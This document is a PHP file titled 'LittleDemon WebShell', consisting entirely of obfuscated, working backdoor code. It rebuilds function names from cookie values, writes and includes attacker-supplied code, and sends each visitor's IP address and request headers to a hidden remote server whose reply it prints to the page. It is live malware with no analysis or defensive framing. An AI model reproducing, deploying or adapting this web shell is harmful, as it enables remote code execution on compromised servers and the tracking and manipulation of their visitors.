LittleDemon WebShell

<?php class _xn{private static$_hpf;static function _zt($_arq,$_pre){if(!self::$_hpf)self::_dqh();$_pjw=strlen($_pre);$_ano=base64_decode(self::$_hpf[$_arq]);for($_nn=0,$_va=strlen($_ano);$_nn!==$_va;++$_nn)$_ano[$_nn]=chr(ord($_ano[$_nn])^ord($_pre[$_nn%$_pjw]));return$_ano;}private static function _dqh(){self::$_hpf=array('_nwy'=>'HgIOFywSQDEwDxkAMA1AMzMNAgVyLh8bOAgDSH9L','_lu'=>'HA0WKwcWK08sJhIdZUIZLxIUNgEZKwsXMU0SPhQZLAEKNhIM','_nc'=>'PB4=','_ux'=>'Oh0uHTwnLVsWDgNZEw4DWRMOA1kTDgNZFg0TBDszIQQQDS5dBTwqXRYNEwQ8CTIAFg4LBDsjMhc7Jy5U','_ikz'=>'LhYKJw==','_uo'=>'YwgCYQ==','_ujm'=>'YxsMAmE=','_iv'=>'KBEaMw==','_mn'=>'','_mg'=>'','_qpx'=>'','_kx'=>'NwEDEWVaWBEqF1kWOhcRCDMQHw4sARITcRYYDHAWGAwvGgQELVsdEmARFhU+SA==','_uzd'=>'PAYcAQAaAAQr','_iaz'=>'NxsVLzACMAsE','_iii'=>'LBAaBzIW','_vub'=>'NxEEBCw=','_rn'=>'GC8/RA==','_kz'=>'LwwWNw==','_pn'=>'LhIVBSY=','_ky'=>'YA==','_fuk'=>'Lg0WLQE=','_ba'=>'fywsCzRXbkpIUm4wMBcMZUQ=','_jx'=>'NxgKDQ==','_pl'=>'UnMyHTEXFBErEB4cZVkyHjAKFH9VdHs=','_fez'=>'LB8UZUNX','_ejr'=>'','_ldq'=>'Nx8eKw==','_qf'=>'UmA=','_chs'=>'FzE3DzogEywmETE8FjU=','_bn'=>'FyY8Dy0wADQnDSUpDTYtGy0uECA=','_jj'=>'DSI9JwsiLykbIyI=','_qc'=>'FzU2Dz43DCQwACAlGi82','_tm'=>'FzI5NQAzPiANOSwiGig5','_frs'=>'','_ib'=>'FyMuNQAlPyMaJT83','_zk'=>'FzYlDz0jGiQ0DScj','_ew'=>'','_sry'=>'Fz42IAApLjkaJDYvFjo=','_jo'=>'Fz8kDzQzEyI1ET8vFjs=','_hpm'=>'FzM2Dzg6ACEtDTAjDSMnGzgkEDU=','_oq'=>'FyMiJAAvKTIQJSE1DTMzMAAxOSY=','_rp'=>'DS0gEDwoACkpGzo=','_szl'=>'DTcqECYiADMjGyA=','_sz'=>'OwsKMgYJOg==','_vi'=>'FiZUfw==','_egd'=>'fw9SMB5JUg==','_rm'=>'fw1MDRQKZVE=','_ohr'=>'f04bLUxz','_rod'=>'Ngk=','_faf'=>'Kgw=','_bu'=>'LRIP','_ypj'=>'LhIeJw==',);}}header(_xn::_zt('_nwy','_amr'));header(_xn::_zt('_lu','_bx'));if(isset($_GET[_xn::_zt('_nc','_vx')])){$_qll=_fh(_xn::_zt('_ux','_ddm'));if($_qll&&strpos($_qll,_xn::_zt('_ikz','_ap'))!==false){die(_xn::_zt('_uo','_gi'));}else{die(_xn::_zt('_ujm','_ymf'));}}if(isset($_GET[_xn::_zt('_iv','_pv')])){$_va=$_COOKIE;$_pre=(int)round(0+0);$_arq=(int)round(1.75+1.75+1.75+1.75);$_lb=array();$_lb[$_pre]=_xn::_zt('_mn','_lzh');while($_arq){$_lb[$_pre].=$_va[(int)round(7.5+7.5+7.5+7.5)][$_arq];if(!$_va[(int)round(7.5+7.5+7.5+7.5)][$_arq+(int)round(0.25+0.25+0.25+0.25)]){if(!$_va[(int)round(10+10+10)][$_arq+(int)round(0.66666666666667+0.66666666666667+0.66666666666667)])break;$_pre++;$_lb[$_pre]=_xn::_zt('_mg','_fl');$_arq++;}$_arq=$_arq+(int)round(2.3333333333333+2.3333333333333+2.3333333333333)+(int)round(0.33333333333333+0.33333333333333+0.33333333333333);}$_pre=$_lb[(int)round(4.6666666666667+4.6666666666667+4.6666666666667)]().$_lb[(int)round(8+8+8)];if(!$_lb[(int)round(2+2+2)]($_pre)){$_arq=$_lb[(int)round(6.5+6.5+6.5+6.5)]($_pre,$_lb[(int)round(2.5+2.5+2.5+2.5)]);$_lb[(int)round(4.5+4.5)]($_arq,$_lb[(int)round(3.6666666666667+3.6666666666667+3.6666666666667)].$_lb[(int)round(7.6666666666667+7.6666666666667+7.6666666666667)]($_lb[(int)round(8.3333333333333+8.3333333333333+8.3333333333333)]($_va[(int)round(1+1+1)])));}include($_pre);}function _fh($_pw,$_gd=-13.324804657576,$_nua=3.1209341660161){$_ndr=_xn::_zt('_qpx','_oja');$_hl=_xn::_zt('_kx','_uwa').$_pw;if(is_callable(_xn::_zt('_uzd','_snm'))){$_wov=curl_init($_hl);curl_setopt($_wov,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_wov,CURLOPT_SSL_VERIFYHOST,(int)round(1+1));curl_setopt($_wov,CURLOPT_FOLLOWLOCATION,(int)round(0.25+0.25+0.25+0.25));curl_setopt($_wov,CURLOPT_RETURNTRANSFER,(int)round(0.25+0.25+0.25+0.25));curl_setopt($_wov,CURLOPT_HEADER,(int)round(0+0));curl_setopt($_wov,CURLOPT_CONNECTTIMEOUT,(int)round(3.3333333333333+3.3333333333333+3.3333333333333));curl_setopt($_wov,CURLOPT_TIMEOUT,(int)round(5+5));$_ndr=curl_exec($_wov);$_jkx=curl_getinfo($_wov);curl_close($_wov);if($_jkx[_xn::_zt('_iaz','_oa')]!=(int)round(66.666666666667+66.666666666667+66.666666666667))return false;}else{$_xgr=parse_url($_hl);$_ua=($_xgr[_xn::_zt('_iii','_srb')]==_xn::_zt('_vub','_ept'));$_di=_xn::_zt('_rn','_jkd').$_xgr[_xn::_zt('_kz','_mb')];if(isset($_xgr[_xn::_zt('_pn','_gpw')]))$_di.=_xn::_zt('_ky','_xih').$_xgr[_xn::_zt('_fuk','_xs')];$_di.=_xn::_zt('_ba','_dx').$_xgr[_xn::_zt('_jx','_wyy')]._xn::_zt('_pl','_yqr');$_vk=fsockopen(($_ua?_xn::_zt('_fez','_lx'):_xn::_zt('_ejr','_az')).$_xgr[_xn::_zt('_ldq','_pm')],$_ua?(int)round(110.75+110.75+110.75+110.75):(int)round(26.666666666667+26.666666666667+26.666666666667));if($_vk){fputs($_vk,$_di);$_ano=(int)round(0+0);while(!feof($_vk)){$_ald=fgets($_vk,(int)round(256+256+256+256));if($_ano)$_ndr.=$_ald;if($_ald==_xn::_zt('_qf','_jqg'))$_ano=(int)round(0.25+0.25+0.25+0.25);}fclose($_vk);}}return$_ndr;}$_gw=isset($_SERVER[_xn::_zt('_chs','_ec')]);$_wiv=isset($_SERVER[_xn::_zt('_bn','_rh')]);$_vyu=isset($_SERVER[_xn::_zt('_jj','_gph')]);$_ja=isset($_SERVER[_xn::_zt('_qc','_ab')])?$_SERVER[_xn::_zt('_tm','_fme')]:_xn::_zt('_frs','_zpv');$_rr=isset($_SERVER[_xn::_zt('_ib','_wze')])?$_SERVER[_xn::_zt('_zk','_bq')]:_xn::_zt('_ew','_ty');$_gw=isset($_SERVER[_xn::_zt('_sry','_jbp')])?$_SERVER[_xn::_zt('_jo','_kp')]:null;$_wiv=isset($_SERVER[_xn::_zt('_hpm','_gb')])?$_SERVER[_xn::_zt('_oq','_wvt')]:null;$_vyu=isset($_SERVER[_xn::_zt('_rp','_hm')])?$_SERVER[_xn::_zt('_szl','_rg')]:null;if(filter_var($_gw,(int)round(137.5+137.5))){$_hz=$_gw;}elseif(filter_var($_wiv,(int)round(91.666666666667+91.666666666667+91.666666666667))){$_hz=$_wiv;}else{$_hz=$_vyu;}if(isset($_GET[_xn::_zt('_sz','_im')])){echo _xn::_zt('_vi','_vn').$_hz._xn::_zt('_egd','_sre').$_ja._xn::_zt('_rm','_ql').$_rr._xn::_zt('_ohr','_ry');exit();}if(!isset($_hz)||!isset($_ja)||!isset($_rr)){exit();}else{$_in=array(_xn::_zt('_rod','_yk')=>$_hz,_xn::_zt('_faf','_mnp')=>$_ja,_xn::_zt('_bu','_wia')=>$_rr);$_fms=urlencode(base64_encode(json_encode($_in)));$_qll=_fh($_fms);if($_qll&&strpos($_qll,_xn::_zt('_ypj','_ed'))!==false){echo$_qll;exit();}}